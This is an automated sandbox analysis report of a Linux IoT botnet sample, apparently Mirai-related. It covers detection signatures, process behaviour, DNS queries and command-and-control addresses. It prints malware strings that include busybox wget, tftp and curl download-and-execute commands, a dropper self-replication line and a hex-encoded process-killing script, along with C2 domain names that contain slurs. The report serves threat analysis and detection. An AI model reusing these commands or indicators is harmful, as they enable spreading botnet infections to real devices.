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Linux Analysis Report
splspc.elf

Overview

General Information

Sample name:	splspc.elf
Analysis ID:	1543134
MD5:	74ee73e2a3ff276fcbc41c02970c4e87
SHA1:	261ac1bb6dd165ceb65869acc564ca241d70287d
SHA256:	4ccd78d2e8b9816d674e1259f7aef892ff8e670b2982683b7567a1c68e4d8bea
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543134
Start date and time:	2024-10-27 09:35:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splspc.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/92@12/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: splspc.elf

Runtime Messages

Command:	/tmp/splspc.elf
PID:	5558
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

splspc.elf (PID: 5558, Parent: 5486, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/splspc.elf

splspc.elf New Fork (PID: 5560, Parent: 5558)

splspc.elf New Fork (PID: 5562, Parent: 5560)

splspc.elf New Fork (PID: 5564, Parent: 5560)

splspc.elf New Fork (PID: 5565, Parent: 5560)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: splspc.elf

ReversingLabs: Detection: 47%

Source: splspc.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: global traffic	TCP traffic: 192.168.2.15:55540 -> 45.156.86.24:38241
Source: global traffic	TCP traffic: 192.168.2.15:54802 -> 185.150.24.67:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 35.250.157.172
Source: unknown	TCP traffic detected without corresponding DNS query: 35.250.157.172
Source: unknown	TCP traffic detected without corresponding DNS query: 166.17.254.43
Source: unknown	TCP traffic detected without corresponding DNS query: 122.183.28.13
Source: unknown	TCP traffic detected without corresponding DNS query: 166.17.254.43
Source: unknown	TCP traffic detected without corresponding DNS query: 102.74.92.230
Source: unknown	TCP traffic detected without corresponding DNS query: 122.183.28.13
Source: unknown	TCP traffic detected without corresponding DNS query: 102.74.92.230
Source: unknown	TCP traffic detected without corresponding DNS query: 90.137.146.50
Source: unknown	TCP traffic detected without corresponding DNS query: 147.133.65.39
Source: unknown	TCP traffic detected without corresponding DNS query: 90.137.146.50
Source: unknown	TCP traffic detected without corresponding DNS query: 93.133.144.46
Source: unknown	TCP traffic detected without corresponding DNS query: 147.133.65.39
Source: unknown	TCP traffic detected without corresponding DNS query: 93.133.144.46
Source: unknown	TCP traffic detected without corresponding DNS query: 195.206.251.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.247.87.201
Source: unknown	TCP traffic detected without corresponding DNS query: 201.92.244.7
Source: unknown	TCP traffic detected without corresponding DNS query: 195.206.251.178
Source: unknown	TCP traffic detected without corresponding DNS query: 2.143.59.0
Source: unknown	TCP traffic detected without corresponding DNS query: 107.247.87.201
Source: unknown	TCP traffic detected without corresponding DNS query: 21.112.117.71
Source: unknown	TCP traffic detected without corresponding DNS query: 201.92.244.7
Source: unknown	TCP traffic detected without corresponding DNS query: 220.111.254.137
Source: unknown	TCP traffic detected without corresponding DNS query: 166.102.89.192
Source: unknown	TCP traffic detected without corresponding DNS query: 2.143.59.0
Source: unknown	TCP traffic detected without corresponding DNS query: 21.112.117.71
Source: unknown	TCP traffic detected without corresponding DNS query: 69.102.93.72
Source: unknown	TCP traffic detected without corresponding DNS query: 220.111.254.137
Source: unknown	TCP traffic detected without corresponding DNS query: 158.192.3.159
Source: unknown	TCP traffic detected without corresponding DNS query: 166.102.89.192
Source: unknown	TCP traffic detected without corresponding DNS query: 163.225.121.203
Source: unknown	TCP traffic detected without corresponding DNS query: 69.102.93.72
Source: unknown	TCP traffic detected without corresponding DNS query: 83.90.223.86
Source: unknown	TCP traffic detected without corresponding DNS query: 158.192.3.159
Source: unknown	TCP traffic detected without corresponding DNS query: 62.69.231.151
Source: unknown	TCP traffic detected without corresponding DNS query: 163.225.121.203
Source: unknown	TCP traffic detected without corresponding DNS query: 177.117.134.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.90.223.86
Source: unknown	TCP traffic detected without corresponding DNS query: 116.176.47.148
Source: unknown	TCP traffic detected without corresponding DNS query: 62.69.231.151
Source: unknown	TCP traffic detected without corresponding DNS query: 137.232.47.252
Source: unknown	TCP traffic detected without corresponding DNS query: 177.117.134.146
Source: unknown	TCP traffic detected without corresponding DNS query: 117.51.83.219
Source: unknown	TCP traffic detected without corresponding DNS query: 116.176.47.148
Source: unknown	TCP traffic detected without corresponding DNS query: 222.41.49.112
Source: unknown	TCP traffic detected without corresponding DNS query: 137.232.47.252
Source: unknown	TCP traffic detected without corresponding DNS query: 117.51.83.219
Source: unknown	TCP traffic detected without corresponding DNS query: 45.55.17.55
Source: unknown	TCP traffic detected without corresponding DNS query: 222.41.49.112
Source: unknown	TCP traffic detected without corresponding DNS query: 142.162.33.92

Source: global traffic	DNS traffic detected: DNS query: burnthe.libre
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic	DNS traffic detected: DNS query: chinklabs.dyn

Source: splspc.elf	String found in binary or memory: http:///curl.sh
Source: splspc.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5580/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5580/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5591/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5591/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5581/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5581/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5592/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5592/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5582/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5582/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5593/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5593/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5583/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5583/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5594/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5594/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5584/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5584/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5595/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5595/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5585/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5585/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5596/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5596/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5596/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5596/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5586/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5586/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5587/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5587/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5590/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5590/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5588/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5588/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5589/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5589/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5579/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5579/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5646/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5564)	File opened: /proc/5646/cmdline	Jump to behavior

Source: splspc.elf, 5558.1.000055bcbe7eb000.000055bcbe870000.rw-.sdmp, splspc.elf, 5562.1.000055bcbe7eb000.000055bcbe870000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: splspc.elf, 5558.1.000055bcbe7eb000.000055bcbe870000.rw-.sdmp, splspc.elf, 5562.1.000055bcbe7eb000.000055bcbe870000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: splspc.elf, 5558.1.00007ffc366e5000.00007ffc36706000.rw-.sdmp, splspc.elf, 5562.1.00007ffc366e5000.00007ffc36706000.rw-.sdmp	Binary or memory string: ux86_64/usr/bin/qemu-sparc/tmp/splspc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splspc.elf
Source: splspc.elf, 5558.1.00007ffc366e5000.00007ffc36706000.rw-.sdmp, splspc.elf, 5562.1.00007ffc366e5000.00007ffc36706000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	IP	Active	Malicious	Reputation
yellowchink.pirate	45.156.86.24	true	true	unknown
chinklabs.dyn	185.150.24.67	true	false	unknown
burnthe.libre	45.156.86.24	true	true	unknown
netfags.geek. [malformed]	unknown	unknown	true	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splspc.elf	false		unknown
http:///curl.sh	splspc.elf	false		unknown

IP	Domain	Country	ASN	ASN Name	Malicious
208.40.212.177	unknown	United States	22197	APPSUS	false
95.94.164.59	unknown	Portugal	2860	NOS_COMUNICACOESPT	false
186.145.37.21	unknown	Colombia	10620	TelmexColombiaSACO	false
14.99.189.250	unknown	India	45820	TTSL-MEISISPTataTeleservicesISPASIN	false
80.103.221.25	unknown	Spain	12479	UNI2-ASES	false
104.238.50.29	unknown	United States	46516	GLOBEIXUS	false
206.62.57.68	unknown	United States	174	COGENT-174US	false
42.66.128.97	unknown	Taiwan; Republic of China (ROC)	17421	EMOME-NETMobileBusinessGroupTW	false
138.114.92.157	unknown	United States	776	FR-INRIA-SOPHIAINRIASophia-AntipolisEU	false
213.196.132.220	unknown	Switzerland	21040	DATAPARKCH	false
122.167.206.176	unknown	India	24560	AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices	false
141.146.219.148	unknown	Sweden	792	ORACLE-ASNBLOCK-ASNUS	false
182.32.167.153	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
142.30.156.251	unknown	Canada	3633	PROVINCE-OF-BRITISH-COLUMBIACA	false
152.126.10.240	unknown	United States	29992	VA-TMP-COREUS	false
41.101.160.201	unknown	Algeria	36947	ALGTEL-ASDZ	false
120.11.65.26	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
136.79.46.221	unknown	United States	60311	ONEFMCH	false
16.125.181.77	unknown	United States	unknown	unknown	false
109.183.73.52	unknown	Czech Republic	12767	PRAGONET-ASCZ	false
31.253.231.41	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
87.224.197.234	unknown	Russian Federation	35154	TELENET-ASRU	false
134.209.44.102	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
49.165.182.61	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
215.175.140.148	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
33.243.183.158	unknown	United States	2686	ATGS-MMD-ASUS	false
86.187.18.158	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
153.72.27.70	unknown	United States	14962	NCR-252US	false
28.2.230.232	unknown	United States	7922	COMCAST-7922US	false
145.63.181.61	unknown	Netherlands	47863	SDSKNL	false
208.190.186.204	unknown	United States	53629	CNBT-ASUS	false
129.46.12.31	unknown	United States	11030	QUALCOMMUS	false
156.114.21.43	unknown	Netherlands	13639	ING-AMERICAS-WHOLESALEUS	false
139.4.86.187	unknown	Germany	702	UUNETUS	false
155.140.11.24	unknown	France	20617	BNP-PARIBASGB	false
124.166.28.48	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
3.30.175.61	unknown	United States	16509	AMAZON-02US	false
152.254.145.22	unknown	Brazil	27699	TELEFONICABRASILSABR	false
54.10.18.39	unknown	United States	14618	AMAZON-AESUS	false
75.219.217.209	unknown	United States	22394	CELLCOUS	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
208.40.212.177	b4Y1JlJEtI	Get hash	malicious	Mirai	Browse
122.167.206.176	apep.x86	Get hash	malicious	Unknown	Browse
122.167.206.176	k66KWtbPDN	Get hash	malicious	Mirai	Browse
95.94.164.59	UnHAnaAW.arm7	Get hash	malicious	Mirai	Browse
	UnHAnaAW.sh4	Get hash	malicious	Mirai	Browse
	Tsunami.arm7	Get hash	malicious	Mirai	Browse
186.145.37.21	bVMuPnsMIq.elf	Get hash	malicious	Mirai	Browse
186.145.37.21	LEa8XuN42Z.elf	Get hash	malicious	Unknown	Browse
14.99.189.250	mods.arm7.elf	Get hash	malicious	Mirai	Browse
104.238.50.29	kJbdvd98Yc.elf	Get hash	malicious	Mirai	Browse
206.62.57.68	zD5hJsdrFw	Get hash	malicious	Mirai	Browse
42.66.128.97	QyG0d8HmXm.elf	Get hash	malicious	Unknown	Browse
41.101.160.201	4OCB3uY7nC.elf	Get hash	malicious	Mirai, Moobot	Browse
	AduaALp8mF	Get hash	malicious	Mirai	Browse
	qdo8TC8wxP	Get hash	malicious	Mirai	Browse
	FIBlU8JUAF	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	nklarm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklarm.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splsh4.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	sh4.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
yellowchink.pirate	nklarm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklarm.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splsh4.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	zerarm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	mips.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splarm5.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splppc.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
chinklabs.dyn	nklarm7.elf	Get hash	malicious	Unknown	Browse	185.150.24.67
	nklarm.elf	Get hash	malicious	Unknown	Browse	185.150.24.67
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	185.150.24.67
	splarm5.elf	Get hash	malicious	Unknown	Browse	185.150.24.67
	sh4.elf	Get hash	malicious	Unknown	Browse	185.150.24.67
	splppc.elf	Get hash	malicious	Unknown	Browse	185.150.24.67

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
APPSUS	g4FOBbCeOU.elf	Get hash	malicious	Mirai	Browse	208.40.212.154
	ysxN9kZVuH.elf	Get hash	malicious	Mirai	Browse	208.40.212.167
	exXSz14q8B.elf	Get hash	malicious	Mirai, Moobot	Browse	208.40.212.147
	HTzqF6PxCs.elf	Get hash	malicious	Unknown	Browse	208.40.212.185
	huhu.mpsl.elf	Get hash	malicious	Mirai	Browse	208.40.212.170
	uXINBnIov8.elf	Get hash	malicious	Mirai	Browse	208.40.212.143
	VnIgmg8Hci.elf	Get hash	malicious	Mirai	Browse	208.40.212.178
	YDTlEvca2R.elf	Get hash	malicious	Mirai	Browse	208.40.212.155
	zOvjZqkgTY.elf	Get hash	malicious	Unknown	Browse	208.40.212.150
	b4Y1JlJEtI	Get hash	malicious	Mirai	Browse	208.40.212.177
NOS_COMUNICACOESPT	jklarm.elf	Get hash	malicious	Unknown	Browse	109.48.92.204
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	95.95.178.145
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	89.152.240.178
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	193.126.216.11
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	89.154.170.39
	w18Ys8qKuX.elf	Get hash	malicious	Unknown	Browse	89.153.228.45
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	95.92.13.114
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	89.153.228.47
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	95.94.176.50
	atH4SE3Oi6.elf	Get hash	malicious	Mirai	Browse	95.94.164.46
TTSL-MEISISPTataTeleservicesISPASIN	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	14.99.133.205
	botnet.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	14.99.21.127
	arm4.elf	Get hash	malicious	Mirai	Browse	14.98.12.253
	yakuza.ppc.elf	Get hash	malicious	Unknown	Browse	182.156.65.220
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	14.98.128.115
	iZP1hJhnmz.elf	Get hash	malicious	Mirai	Browse	14.98.60.158
	JEXsDKnKx4.elf	Get hash	malicious	Mirai, Okiru	Browse	14.98.148.215
	92.249.48.47-skid.arm-2024-07-20T09_04_18.elf	Get hash	malicious	Mirai, Moobot	Browse	14.98.12.244
	sora.x86.elf	Get hash	malicious	Mirai	Browse	61.16.134.231
	http://rd-eqa.pages.dev/	Get hash	malicious	Unknown	Browse	23.192.152.128
TelmexColombiaSACO	nklarm7.elf	Get hash	malicious	Unknown	Browse	190.147.164.112
	splsh4.elf	Get hash	malicious	Unknown	Browse	45.71.180.197
	mips.elf	Get hash	malicious	Unknown	Browse	186.147.43.105
	kkkx86.elf	Get hash	malicious	Unknown	Browse	181.61.106.93
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	186.86.56.64
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	190.84.64.223
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	186.87.129.179
	8DKuAcmAMT.elf	Get hash	malicious	Unknown	Browse	190.144.89.118
	v3Q8bEo8Sj.exe	Get hash	malicious	SmokeLoader	Browse	190.147.128.172
	yakuza.i686.elf	Get hash	malicious	Unknown	Browse	186.85.179.235

Process:	/tmp/splspc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.1544857450967174
Encrypted:	false
SSDEEP:	6:M3gDFfX6/VUV4DFuG3j/VyY/VfKoO/VNfiY/VH:M3YlrVwUwwl
MD5:	B90C10286516AF2A9A88B7C91126CB57
SHA1:	D2E11713557C4F760DFD011C62951E1857BE8CCF
SHA-256:	F1878E7C50D8681065DCC021459BDB2D7874BDFC9AE9C98F885774A294568317
SHA-512:	E9C32A64FB13E590F516EF190A2B36C0752D73F55D7BB709F031F726E91D4043D75974FC232074E9B722EEA6CB70F5079D84187B97CE92D98454AD3A7A0B0AB1
Malicious:	false
Reputation:	low
Preview:	10000-20000 r-xp 00000000 fd:00 531606 /tmp/..20000-21000 rw-p 00010000 fd:00 531606 /tmp/..21000-23000 rw-p 00000000 00:00 0 .23000-24000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:
Entropy (8bit):	6.047276192694709
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splspc.elf
File size:	66'440 bytes
MD5:	74ee73e2a3ff276fcbc41c02970c4e87
SHA1:	261ac1bb6dd165ceb65869acc564ca241d70287d
SHA256:	4ccd78d2e8b9816d674e1259f7aef892ff8e670b2982683b7567a1c68e4d8bea
SHA512:	6d8ce5adb4edaa0d0c6bf519a3c972b72db5916bc3a8400288762cf598b9f48f2b7f40474b5d1920948f5d56a9fb9a2e8ffcccf4e9afe2cf8564a325068cad10
SSDEEP:	1536:bZq+DSSOi6Br8iflDlJdZO9ZeZqkO3ColaQzK9/sLgH4MLh+:b8+2nblGR3Csm/s8H4/
TLSH:	30534A2179392E17C4C5787F62F74725B1A1270E35A8C62A7E720E8FFF14A54221B9F1
File Content Preview:	.ELF...........................4.........4. ...(.......................0...0...............................0........dt.Q................................@..(....@.:.................#.....a...`.....!..... ...@.....".........`......$ ... ...@...........`....

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 27, 2024 09:36:57.965102911 CET	192.168.2.15	185.181.61.24	0x6b49	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:37:08.393110991 CET	192.168.2.15	185.181.61.24	0x9b88	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:37:19.374138117 CET	192.168.2.15	185.181.61.24	0x4f58	Standard query (0)	netfags.geek. [malformed]	256	447	false
Oct 27, 2024 09:37:30.260864973 CET	192.168.2.15	185.181.61.24	0x85fa	Standard query (0)	yellowchink.pirate	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:37:41.151942968 CET	192.168.2.15	81.169.136.222	0x8eeb	Standard query (0)	netfags.geek. [malformed]	256	469	false
Oct 27, 2024 09:37:52.046832085 CET	192.168.2.15	194.36.144.87	0xac3c	Standard query (0)	netfags.geek. [malformed]	256	480	false
Oct 27, 2024 09:38:02.915879011 CET	192.168.2.15	152.53.15.127	0xcd7c	Standard query (0)	netfags.geek. [malformed]	256	490	false
Oct 27, 2024 09:38:13.322508097 CET	192.168.2.15	185.181.61.24	0xc30a	Standard query (0)	netfags.geek. [malformed]	256	501	false
Oct 27, 2024 09:38:24.216628075 CET	192.168.2.15	152.53.15.127	0xc7fa	Standard query (0)	chinklabs.dyn	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:38:25.886774063 CET	192.168.2.15	81.169.136.222	0x3b79	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:38:36.776557922 CET	192.168.2.15	152.53.15.127	0x16e1	Standard query (0)	chinklabs.dyn	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:38:38.423861027 CET	192.168.2.15	51.158.108.203	0xfc2c	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 27, 2024 09:36:58.000279903 CET	185.181.61.24	192.168.2.15	0x6b49	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:37:08.426845074 CET	185.181.61.24	192.168.2.15	0x9b88	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:37:30.295572042 CET	185.181.61.24	192.168.2.15	0x85fa	No error (0)	yellowchink.pirate		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:37:52.057311058 CET	194.36.144.87	192.168.2.15	0xac3c	Format error (1)	netfags.geek. [malformed]	none	none	256	480	false
Oct 27, 2024 09:38:02.927644968 CET	152.53.15.127	192.168.2.15	0xcd7c	Format error (1)	netfags.geek. [malformed]	none	none	256	490	false
Oct 27, 2024 09:38:24.227674961 CET	152.53.15.127	192.168.2.15	0xc7fa	No error (0)	chinklabs.dyn		185.150.24.67	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:38:25.915211916 CET	81.169.136.222	192.168.2.15	0x3b79	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false
